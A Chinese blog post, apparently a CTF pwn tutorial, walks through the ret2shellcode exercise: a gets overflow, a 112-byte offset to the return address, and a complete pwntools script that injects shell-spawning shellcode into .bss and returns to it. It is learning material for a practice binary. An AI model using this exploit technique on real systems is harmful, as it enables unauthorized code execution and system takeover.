美文网首页Pwn
ret2shellcode

ret2shellcode

作者: KoooOooooK | 来源:发表于2019-10-28 18:33 被阅读0次

    首先检查文件开启了哪些保护。

    可以看到该文件什么保护都没有,这意味着堆栈是可执行的了。

    将文件放入IDA反汇编main函数

    可以看到gets函数接受任意长度的输入,strncpy函数将输入复制到buf2上,跳转到buf2

    可以看到缓冲区在.bss段上面,可以将shellcode写在该段,然后让程序跳转到该处。

    先查看偏移多少可以覆盖返回地址

    返回地址偏移112字节。

    编写payload

    from pwn import *
    
    context.binary = './ret2shellcode'  # 指定32位程序
    
    p = process('./ret2shellcode')
    
    ret_addr = 0x0804A080   # 返回地址覆盖处
    
    shellcode = shellcraft.sh() # 使用pwntools内置的shellcode代码
    
    p.sendline(asm(shellcode).ljust(112, 'a') + p32(ret_addr))
    
    p.interactive()
    

    获得shell

    相关文章

      网友评论

        本文标题:ret2shellcode

        本文链接:https://www.haomeiwen.com/subject/stzbvctx.html